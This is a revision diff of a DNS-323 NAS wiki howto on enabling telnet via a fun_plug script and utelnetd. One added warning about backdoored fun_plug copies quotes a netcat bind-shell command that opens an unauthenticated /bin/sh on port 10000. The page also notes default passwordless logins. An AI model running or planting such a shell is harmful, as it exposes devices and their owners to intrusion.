Differences
This shows you the differences between the selected revision and the current version of the page.
| howto:telnet 2009/10/28 21:47 | howto:telnet 2017/09/06 18:38 current | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====== Enabling Telnet ====== | ====== Enabling Telnet ====== | ||
| Before you even try this, please be :!: **WARNED** :!: that using telnet to your DNS-323 you can very easily [[wp>bricked|brick]] your unit. | Before you even try this, please be :!: **WARNED** :!: that using telnet to your DNS-323 you can very easily [[wp>bricked|brick]] your unit. | ||
| + | |||
| + | |||
| Line 6: | Line 8: | ||
| An easy way to enable Telnet without modifying your firmware is to install Fonz funplug. (More info [[http://wiki.dns323.info/howto:ffp|here]]). You can rollback your changes (and remove telnet access) later on by simply removing Fonz funplug files and reboot. | An easy way to enable Telnet without modifying your firmware is to install Fonz funplug. (More info [[http://wiki.dns323.info/howto:ffp|here]]). You can rollback your changes (and remove telnet access) later on by simply removing Fonz funplug files and reboot. | ||
| - | It is commonly accepted that you can't harm your device this way (you still should know what you do when using telnet) | + | It is commonly accepted that you can't harm your device this way (you still should know what you do when using telnet). |
| + | |||
| + | Be aware that anyone can login with the username "nobody" with no password. Also true using "admin" and no password if you have not set up a password for the admin web page. For best results just use telnet to enable ssh and disable telnet after that. | ||
| ===== Modified firmware with telnet access ===== | ===== Modified firmware with telnet access ===== | ||
| Line 27: | Line 31: | ||
| You should be able to go back to an official firmware using the web interface update. | You should be able to go back to an official firmware using the web interface update. | ||
| + | |||
| + | |||
| ===== Create the fun_plug ===== | ===== Create the fun_plug ===== | ||
| Line 43: | Line 49: | ||
| # Uncomment next line if you want "proof of concept". | # Uncomment next line if you want "proof of concept". | ||
| # A filem dmesg.out will be located on \\NAS\HDD_1 or | # A filem dmesg.out will be located on \\NAS\HDD_1 or | ||
| - | # \\NAS\Volume_1 depnding on firmware version. | + | # \\NAS\Volume_1 depending on firmware version. |
| # | # | ||
| # dmesg > /mnt/HD_a2/dmesg.out | # dmesg > /mnt/HD_a2/dmesg.out | ||
| Line 91: | Line 97: | ||
| mkdir /bin/busybox3.dir/ | mkdir /bin/busybox3.dir/ | ||
| PATH="$PATH:/bin/busybox3.dir" | PATH="$PATH:/bin/busybox3.dir" | ||
| + | |||
| + | ln -s /bin/busybox3 /bin/busybox3.dir/sh | ||
| # and start the Telnet service from the ramdisk as well | # and start the Telnet service from the ramdisk as well | ||
| Line 98: | Line 106: | ||
| Now you can connect via Telnet and perform fsck without getting the error message "/dev/md0 is busy". (Note: samba is still sharing the HDD for your network, also preventing the HDD from being unmounted - but smb can be safely stopped or started from the Telnet console by issuing "smb stop" or "smb start".) | Now you can connect via Telnet and perform fsck without getting the error message "/dev/md0 is busy". (Note: samba is still sharing the HDD for your network, also preventing the HDD from being unmounted - but smb can be safely stopped or started from the Telnet console by issuing "smb stop" or "smb start".) | ||
| + | |||
| + | Updated 2009/12/06: The line <code>ln -s /bin/busybox3 /bin/busybox3.dir/sh</code> was missing from the above script. | ||
| ===== Download Telnet ===== | ===== Download Telnet ===== | ||
| - | Next step is to dowload the files required. [[http://forum.dsmg600.info/profile.php?id=47|KRH]] kindly provided them for us and you can now download them from here: {{:howto:utelnet-kit.tar.gz}}. For Windows Users: :!: Dont use WinZIP - try 7-Zip or WinRAR instead :!: | + | **WARNING** Be careful what you download. Some copies of fun_plug contain backdoors like using nc (netcat) to allow unauthenticated access to port 10000. Running netcat like this may cause the unmount problems described above. |
| + | E.g. | ||
| + | /mnt/HD_a2/nc -l -p 10000 -e /bin/sh & | ||
| + | |||
| + | Next step is to dowload the files required. [[http://dns323.kood.org/forum/profile.php?id=47|KRH]] kindly provided them for us and you can now download them from here: {{:howto:utelnet-kit.tar.gz}}. For Windows Users: :!: Dont use WinZIP - try 7-Zip or WinRAR instead :!: | ||
| From this file, extract the following files: | From this file, extract the following files: | ||
| Line 106: | Line 120: | ||
| * utelnetd | * utelnetd | ||
| * busybox3 | * busybox3 | ||
| - | |||
| ===== Installing Telnet ===== | ===== Installing Telnet ===== | ||
| - | When all files are extracted you need to install them. This can be achieved in several ways covered in the [[fun_plug]] howto. The most important is that the files resides on the first disc and in the following structure and that they have rights to //execute//. | + | When all files are extracted you need to install them. This can be achieved in several ways covered in the [[fun_plug]] howto. The most important is that the files reside on the first disc and in the following structure and that they have rights to //execute//. |
| <code bash> | <code bash> | ||
